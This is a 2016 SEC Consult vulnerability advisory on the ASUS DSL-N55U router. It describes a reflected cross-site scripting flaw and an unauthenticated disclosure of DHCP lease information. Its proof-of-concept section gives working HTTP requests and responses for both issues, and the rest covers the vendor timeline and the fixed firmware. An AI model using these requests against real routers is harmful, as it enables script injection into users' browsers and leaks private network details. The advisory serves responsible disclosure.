SEC Consult Vulnerability Lab Security Advisory < 20160624-0 >
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title: XSS and information disclosure vulnerability
product: ASUS DSL-N55U router
vulnerable version: 3.0.0.4.376_2736
fixed version: 3.0.0.4_380_3679
CVE number: requested
impact: Medium
homepage: www.asus.com
found: 2016-04-12
by: P. Morimoto (Office Bangkok)
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Vendor description:
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"ASUS has long been at the forefront of this growth and while the company
started life as a humble motherboard manufacturer with just a handful of
employees, it is now the leading technology company in Taiwan with over
12,500 employees worldwide. ASUS makes products in almost every area of
Information Technology too, including PC components, peripherals,
notebooks, tablets, servers and smartphones."
Source: www.asus.com/sg/About_ASUS/The_Meaning_of_ASUS
Business recommendation:
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SEC Consult recommends not to use this device until a thorough security review
has been performed by security professionals and all identified issues have
been resolved.
Vulnerability overview/description:
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1. Reflected Cross-Site Scripting
The vulnerability exists in the "httpd" binary in the ASUS DSL-N55U firmware.
If the web path is longer than 50 characters, it will redirect a user to
the cloud_sync.asp page with the web path as a value of a GET parameter.
Due to the lack of input validation, an attacker can insert malicious JavaScript
code to be executed under a victim's browser context.
No authentication is required.
2. Remote DHCP Information Disclosure
An unauthenticated attacker can gain access to DHCP information including
the hostname and private IP addresses of the local machines connected to the
router from the WAN IP address.
Proof of concept:
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1. Reflected Cross-Site Scripting
HTTP Request:
GET /111111111111111111111111111111111111111'+alert('XSS')+' HTTP/1.1
Host: <ASUS router IP>
HTTP Response:
HTTP/1.0 200 OK
Server: httpd
Date: Tue, 12 Apr 2016 09:04:48 GMT
Content-Type: text/html
Connection: close
<HTML><HEAD><script>location.href='/cloud_sync.asp?flag=111111111111111111111111111111111111111'+alert('XSS')+'';</script>
</HEAD></HTML>
2. Remote DHCP Information Disclosure
HTTP Request:
GET /Nologin.asp HTTP/1.1
Host: <ASUS router IP>
HTTP Response:
HTTP/1.0 200 Ok
Server: httpd
[...]
var dhcpLeaseInfo = [['<ip-1>', '<hostname-1>'],['<ip-2>', '<hostname-2>'],['<ip-N>', '<hostname-N>']];;
function initial(){
[...]
Vulnerable / tested versions:
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The following firmware has been tested which was the most recent version
at the time of discovery:
- 3.0.0.4.376_2736 (2015/01/19 update)
URL: www.asus.com/support/Download/11/2/0/75/aOKU9r3fCf3pyi95/29/
Vendor contact timeline:
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2016-06-02: Contacting vendor through privacy@asus.com and netadmin@asus.com.tw.
2016-06-03: ASUS responds and establishes encrypted communication channel.
2016-06-06: Sending PGP encrypted security advisory to ASUS.
2016-06-20: Vulnerability is fixed in beta firmware.
2016-06-24: Public release of the advisory.
Solution:
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Upgrade to firmware version 3.0.0.4_380_3679 or later.
Workaround:
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No workaround available.
Advisory URL:
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www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
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EOF Pichaya Morimoto / @2016